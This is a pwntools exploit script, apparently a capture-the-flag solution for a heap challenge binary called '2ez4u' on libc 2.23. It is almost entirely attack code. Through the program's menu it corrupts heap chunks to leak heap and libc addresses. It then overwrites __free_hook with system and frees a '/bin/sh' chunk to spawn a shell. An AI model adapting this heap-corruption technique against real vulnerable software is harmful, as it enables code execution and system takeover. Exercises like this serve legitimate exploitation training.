from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
r
=
process(
'./2ez4u'
)
libc
=
ELF(
'./libc-2.23.so'
)
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
"your choice: "
,
str
(num))
def
add(size,con):
cho(
1
)
r.recvuntil(
"color?(0:red, 1:green):"
)
r.sendline(
str
(
0
))
r.recvuntil(
"value?(0-999):"
)
r.sendline(
str
(
0
))
r.sendlineafter(
"num?(0-16):"
,
str
(
0
))
r.sendlineafter(
"description length?(1-1024):"
,
str
(size))
r.sendlineafter(
"description of the apple:"
,con)
def
delet(idx):
cho(
2
)
r.sendlineafter(
"which?(0-15):"
,
str
(idx))
def
edit(idx,con):
cho(
3
)
r.sendlineafter(
"which?(0-15):"
,
str
(idx))
r.recvuntil(
"color?(0:red, 1:green):"
)
r.sendline(
str
(
0
))
r.recvuntil(
"value?(0-999):"
)
r.sendline(
str
(
0
))
r.sendlineafter(
"num?(0-16):"
,
str
(
0
))
r.sendlineafter(
"description of the apple:"
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"which?(0-15):"
,
str
(idx))
add(
0x60
,
'0'
*
0x60
)
add(
0x60
,
'1'
*
0x60
)
add(
0x60
,
'2'
*
0x60
)
add(
0x60
,
'3'
*
0x60
)
add(
0x60
,
'4'
*
0x60
)
add(
0x60
,
'5'
*
0x60
)
add(
0x3f0
,
'nameless'
)
add(
0x60
,
'8'
*
0x60
)
add(
0x3e0
,
'9'
*
0x1b0
)
add(
0x60
,
'9'
*
0x80
)
add(
0x3f0
,
"nameless"
)
add(
0x60
-
0x18
,
'b'
*
0x30
)
add(
0x60
-
0x18
,
'c'
*
0x30
)
add(
0x60
-
0x18
,
'd'
*
0x30
)
delet(
0
)
delet(
8
)
delet(
0xa
)
add(
0x400
,
'nameless'
)
show(
0xa
)
r.recvuntil(
'description:'
)
heap
=
u64(r.recvuntil(
'\n'
,drop
=
True
).ljust(
8
,
'\x00'
))
-
0x790
log.success(
'heap:'
+
hex
(heap))
fake_chunk
=
heap
+
0x130
chunk1
=
heap
+
0xc10
chunk2
=
heap
+
0x1b0
target
=
heap
+
0xb0
pd
=
p64(
0
)
*
2
+
p64(
0x411
)
+
p64(target
-
0x18
)
+
p64(target
-
0x10
)
+
p64(chunk1)
+
p64(chunk2)
edit(
2
,pd)
edit(
0xa
,p64(fake_chunk))
edit(
1
,p64(
0
)
+
p64(fake_chunk))
pd
=
p64(
0
)
*
2
+
p64(
0x421
)
+
p64(
0
)
*
2
+
p64(fake_chunk)
edit(
3
,pd)
edit(
6
,
'6'
*
0x218
+
p64(
0x410
)
+
p64(
0x411
))
delet(
5
)
delet(
3
)
add(
0x3f0
,
'3'
*
56
)
add(
0x60
,
'nameless'
)
show(
3
)
libcbase
=
u64(r.recvuntil(
'\x7f'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x3a43a8
-
(libc.sym[
'__libc_start_main'
]
+
240
)
free_hook
=
libcbase
+
libc.sym[
'__free_hook'
]
system
=
libcbase
+
libc.sym[
'system'
]
log.success(
'libcbase:'
+
hex
(libcbase))
log.success(
'system:'
+
hex
(system))
delet(
3
)
pd
=
p64(
0
)
*
2
+
p64(
0x411
)
+
p64(
0
)
+
p64(free_hook
-
0x48
)
edit(
2
,pd)
add(
0x3f0
,
'nameless'
)
pd
=
p64(
0
)
+
p64(
0
)
+
p64(
0x71
)
edit(
2
,pd)
edit(
3
,
0x50
*
'a'
+
p64(
0x431
))
delet(
3
)
pd
=
p64(
0
)
*
2
+
p64(
0x71
)
+
p64(free_hook
-
0x3b
)
edit(
2
,pd)
add(
0x50
,
'/bin/sh\x00'
)
add(
0x50
,
0x13
*
'a'
+
p64(system))
pd
=
p64(
0
)
+
p64(
0
)
+
p64(
0x71
)
+
'/bin/sh\x00'
edit(
2
,pd)
delet(
3
)
r.interactive()